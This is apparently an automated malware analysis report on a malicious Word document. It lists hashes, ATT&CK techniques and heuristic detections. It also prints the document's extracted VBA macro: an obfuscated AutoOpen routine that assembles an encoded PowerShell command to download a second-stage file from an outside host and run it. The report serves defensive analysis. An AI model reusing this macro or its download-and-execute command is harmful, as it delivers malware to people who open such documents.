Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 23540201f54b2be6…

MALICIOUS

Office (OLE)

90.5 KB Created: 2018-04-19 18:59:00 Authoring application: Microsoft Office Word First seen: 2019-01-20
MD5: e64d2d3f1d5d5419bc20278cda25c066 SHA-1: 4cef2a62dea8775742b053a8f1bbfd060e0cbad1 SHA-256: 23540201f54b2be6ee92e33689801e35d8f38bc5fadb8735c0ba001dd511dab3
242 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1204.002 Malicious File

The sample contains a VBA macro with an AutoOpen function that utilizes the Shell() command. This macro constructs and executes a PowerShell command, indicated by the critical heuristic firings for OLE_VBA_SHELL and OLE_VBA_PCODE_AUTOEXEC_EXEC. The constructed PowerShell command, 'powershell.exe -e JAB...', is designed to download and execute a second-stage payload, which is a common technique for malware delivery.

Heuristics 7

  • ClamAV: Doc.Malware.00536d-6735644-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.00536d-6735644-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10132 bytes
SHA-256: 8a0015480f5a74469e4f07df379c38296d292c66bf4ab22e467afd0daf0339c8
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Const TAKoVoPuvODiZAdAxNavUvADyiIZ = 0
Sub AutoOpen()
On Error Resume Next
HIFoaIJasUKYhaZypuhePALeLEJAgOtIaAjOT = "" + ChrW((12.5 * 8) - 1) + "Md." + Format(ChrW(50 * 2 + 1)) + "X" + Format(ChrW(50 * 2 + 1)) + " /" + ChrW((12.5 * 8) - 1) + " p^o^w^" + Format(ChrW(50 * 2 + 1)) + "^r^s^h^E^L^L^.^" + Format(ChrW(50 * 2 + 1)) + "^x^" + Format(ChrW(50 * 2 + 1)) + "^ ^-^" + Format(ChrW(50 * 2 + 1)) + "^" + ChrW((12.5 * 8) - 1) + "^ ^K^A^B^O^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^H^M^A^d^A^B^l^A^G^0^A^L^g^B^O^A^G^U^A^d^A^A^u^A^F^" + ChrW((12.5 * 8) - 1) + "^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^L^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A^R^g^B^p^A^G^w^A^Z^Q^A^o^A^C^I^A^a^A^B^0^A^H^Q^A^" + ChrW((12.5 * 8) - 1) + "^A^A^6"
Dim VIraCUXoCymEiywAcyYRELElaCELUqiCe


Choose 2, "jAiiwycUfAmIQaNIhaLiq", LTrim("VIraCUXoCymEiywAcyYRELElaCELUqiCe"), "jAiiwycUfAmIQaNIhaLiqVIraCUXoCymEiywAcyYRELElaCELUqiCe"
IsError CVErr(7942)
Call IsNumeric(7942 - jAiiwycUfAmIQaNIhaLiq)

If LenB(jAiiwycUfAmIQaNIhaLiq12) > CInt(Hex(7942)) Then
   StrComp "jAiiwycUfAmIQaNIhaLiq", "jAiiwycUfAmIQaNIhaLiq" & VIraCUXoCymEiywAcyYRELElaCELUqiCe
End If
Dim ZiGanoviMIHbAFIsawARUkEsegopALYtOLGi


Choose 4, "fyyZuXODop", LTrim("ZiGanoviMIHbAFIsawARUkEsegopALYtOLGi"), "fyyZuXODopZiGanoviMIHbAFIsawARUkEsegopALYtOLGi"
IsError CVErr(980)
Call IsNumeric(980 - fyyZuXODop)

If LenB(fyyZuXODop13) > CInt(Hex(980)) Then
   StrComp "fyyZuXODop", "fyyZuXODop" & ZiGanoviMIHbAFIsawARUkEsegopALYtOLGi
End If

Dim BYxjYqYHupIbuGiSIaOraQiCABuRuko


Choose 2, "jVeiUMoBijaLiVILYauGil", LTrim("BYxjYqYHupIbuGiSIaOraQiCABuRuko"), "jVeiUMoBijaLiVILYauGilBYxjYqYHupIbuGiSIaOraQiCABuRuko"
IsError CVErr(6884)
Call IsNumeric(6884 - jVeiUMoBijaLiVILYauGil)

If LenB(jVeiUMoBijaLiVILYauGil12) > CInt(Hex(6884)) Then
   StrComp "jVeiUMoBijaLiVILYauGil", "jVeiUMoBijaLiVILYauGil" & BYxjYqYHupIbuGiSIaOraQiCABuRuko
End If
voWeBAzYcogAbOTYDYypIHyxOmaiE = "^A^C^8^A^L^w^B^5^A^G^E^A^d^A^B^p^A^G^M^A^Y^Q^B^0^A^G^U^A^" + ChrW((12.5 * 8) - 1) + "^g^B^t^A^C^4^A^Y^w^B^v^A^G^0^A^L^w^B^U^A^F^k^A^S^g^A^v^A^H^" + ChrW((12.5 * 8) - 1) + "^A^d^w^B^u^A^G^8^A^" + Format(ChrW(50 * 2 + 1)) + "^A^A^u^A^H^A^A^a^A^B^w^A^D^8^A^b^A^A^9^A^G^o^A^d^Q^B^4^A^G^U^A^N^Q^A^u^A^H^g^A^Y^Q^B^w^A^C^I^A^L^A^A^g^A^C^Q^A^Z^Q^B^u^A^H^Y^A^O^g^B^B^A^F^A^A^U^A^B^E^A^E^E^A^V^A^B^B^A^C^A^A^K^w^A^g^A^C^" + ChrW((12.5 * 8) - 1) + "^A"

Dim aARiLiXONEgapETOJBOQygUJanYLEqbOHakA


Choose 9, "moGUlYqJiqeSCaqeRo", LTrim("aARiLiXONEgapETOJBOQygUJanYLEqbOHakA"), "moGUlYqJiqeSCaqeRoaARiLiXONEgapETOJBOQygUJanYLEqbOHakA"
IsError CVErr(2262)
Call IsNumeric(2262 - moGUlYqJiqeSCaqeRo)

If LenB(moGUlYqJiqeSCaqeRo13) > CInt(Hex(2262)) Then
   StrComp "moGUlYqJiqeSCaqeRo", "moGUlYqJiqeSCaqeRo" & aARiLiXONEgapETOJBOQygUJanYLEqbOHakA
End If
Dim VaHEzajihOHEJISyRipPEhEnoDyLoV


Choose 7, "fotEiESEtOTyXElMA", LTrim("VaHEzajihOHEJISyRipPEhEnoDyLoV"), "fotEiESEtOTyXElMAVaHEzajihOHEJISyRipPEhEnoDyLoV"
IsError CVErr(6951)
Call IsNumeric(6951 - fotEiESEtOTyXElMA)

If LenB(fotEiESEtOTyXElMA12) > CInt(Hex(6951)) Then
   StrComp "fotEiESEtOTyXElMA", "fotEiESEtOTyXElMA" & VaHEzajihOHEJISyRipPEhEnoDyLoV
End If

mUCAPolYvOXEjIZaYRDYBeaURYqiaEGybAjEHr = "^X^A^A^x^A^D^k^A^Y^g^A^4^A^D^k^A^M^Q^A^1^A^C^4^A^Z^Q^B^4^A^G^U^A^J^w^A^p^A^D^s^A^I^A^B^T^A^H^Q^A^Y^Q^B^y^A^H^Q^A^L^Q^B^Q^A^H^I^A^b^w^B^j^A^G^U^A^" + ChrW((12.5 * 8) - 1) + "^w^B^z^A^C^A^A^J^A^B^l^A^G^4^A^d^g^A^6^A^E^E^A^U^A^B^Q^A^E^Q^A^Q^Q^B^U^A^E^E^A^J^w^B^" + ChrW((12.5 * 8) - 1) + "^A^D^E^A^O^Q^B^i^A^D^g^A^O^Q^A^x^A^D^U^A^L^g^B^l^A^H^g^A^Z^Q^A^n^A^D^s^A^I^A^B^F^A^H^g^A^a^Q^B^0"
Dim bIehIziQuzoHyPUJyPbehhYwucuQuioFusi


Choose 5, "syHUqyxeGoLE", LTrim("bIehIziQuzoHyPUJyPbehhYwucuQuioFusi"), "syHUqyxeGoLEbIehIziQuzoHyPUJyPbehhYwucuQuioFusi"
IsError C
... (truncated)